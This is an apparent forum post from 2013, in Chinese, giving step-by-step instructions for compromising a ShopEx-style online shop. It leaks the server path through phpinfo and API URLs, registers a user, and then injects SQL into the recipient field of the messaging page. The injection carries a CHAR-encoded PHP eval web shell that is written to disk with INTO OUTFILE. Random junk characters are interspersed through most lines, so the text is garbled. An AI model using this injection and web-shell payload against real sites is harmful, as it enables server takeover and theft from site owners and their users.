第一个：想办法找到目标网站的绝对路径
5 E1 o- [' B/ ?0 N$ g X
. r$ P! B/ j1 ] y3 ]5 nhttp://www.political-security.com/install/svinfo.php?phpinfo=true! v6 g( ]( _, y
$ D' k5 Q w t4 n0 jhttp:/www.political-security.com/core/api/shop_api.php
( E* s9 c7 W" z& C" {2 R1 t1 \( Z! Y" b3 D, |) U5 {
http://www.political-security.co ... api_b2b_2_0_cat.php0 I9 m6 ~& ^# V2 c" k0 z2 m
. i& a( f3 ^, x& [; S ~http://www.political-security.com/core/ap ... b_2_0_goodstype.php) \3 z$ o: @' Q' n& K1 H
# A- T, h+ V0 v: H! f& T2 r e
http://www.political-security.co ... i_b2b_2_0_brand.php$ P& E& m4 J- W- @% \) J& }
第二个：注册一个普通用户
! h* o9 v* } t8 p; g+ `
, v: p* \! `/ n4 Q0 P4 Phttp://www.political-security.com/?passport-signup.html# A) v+ N: B" C
6 V {+ B7 w i3 `
第三个： 发送消息 - F; A) P5 L$ d0 F- }/ ~
- R# {; Y+ f* ~8 M' p! ^http://www.political-security.com/?member-send.html
- V% _6 |) \7 S. W4 m( A) q发送给中填写
! p2 g2 j q" r( N: k. w& [0 F/ q- d6 bantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对